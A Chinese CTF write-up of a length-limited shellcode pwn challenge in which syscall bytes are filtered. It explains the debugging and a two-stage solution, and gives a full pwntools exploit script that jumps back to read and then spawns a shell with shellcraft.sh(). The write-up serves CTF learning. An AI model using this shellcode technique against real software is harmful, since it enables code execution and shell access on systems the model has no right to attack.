shellcode - 有长度限制的 shellcode 解法

shellcode

shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为 16 进制之机械码,以其经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。

程序分析

题目来源:第七届浙江省大学生网络与信息安全竞赛预赛

image-20241103161301251

checksec

保护全开

逆向分析

IDA伪代码

程序的功能很直接,执行输入的一段 shellcode,但是有 0xa 的长度限制。

并且存在 memmem 函数,检查输入的内容,使用 IDA 继续查看 unk_203D 的内容,发现是出题人禁止了 syscall 的机器码。

syscall('0f')

动态调试

在程序执行 shellcode 之后,观察寄存器和栈的情况。当时比赛时发现 r8 中存有 syscall 指令的地址,我的一个想法是控制寄存器 rax, rdi, rsi, rdx 执行系统调用 read

1
2
3
4
5
mov rsi,rax
xor rax,rax
xor rdi,rdi
add rdx,0x50
call r8

不过这样的长度已经超出 0xa 的限制了。后面我又想了很久,想继续利用 r8 跳转到某个 main 函数上的指令,调试发现从 r8 到一个 main 函数的地址需要减去三位十六进制数,也就是说操作数占据了 shellcode 中 0x4 的长度了。哎,结果我就这样忽视了 rsp 上的 <main+0132>,一直到比赛结束。

攻击流程

这里的思路是白夜学长提供的。

调整传参寄存器,控制程序流程

ELF 中的 read 函数参数如下

栈中的数据如下

由于程序中使用call rax执行shellcode,返回地址存在栈顶

第一段 shellcode

1
2
3
4
5
6
pop rdx; 返回地址出栈
pop rdi; fd
pop rsi; 将不需要的数据出栈
pop rsi; *buf <- shellcode address
sud rdx,0x41; 减去偏移,结果为 <main+00f1>
call rdx

将程序跳转到 main 函数的 call _read 前:

执行 shellcode

没有了读入限制后,直接使用 pwntool 生成的 shellcode 即可。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
p = process("./shellcode1")
#p = remote("139.155.126.78", "38681")
shellcode = """
pop rdx;
pop rdi;
pop rsi;
pop rsi;
sub rdx, 0x41;
call rdx;
"""
gdb.attach(p)
p.sendafter(b"input", asm(shellcode))
shellcode = """
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
""" #10个nop,因为下次执行的地址是在shellcode1的结尾(call rdx)
shellcode += shellcraft.sh()
p.send(asm(shellcode))
p.interactive()

小结

这回的省赛属于是坐了四小时大牢了。每道题目或者是在现实实践中,自然是与之前遇到的情况会有不同。因此对程序动态运行中的各种状态应该敏锐一些,例如栈、寄存器,可能会有发现。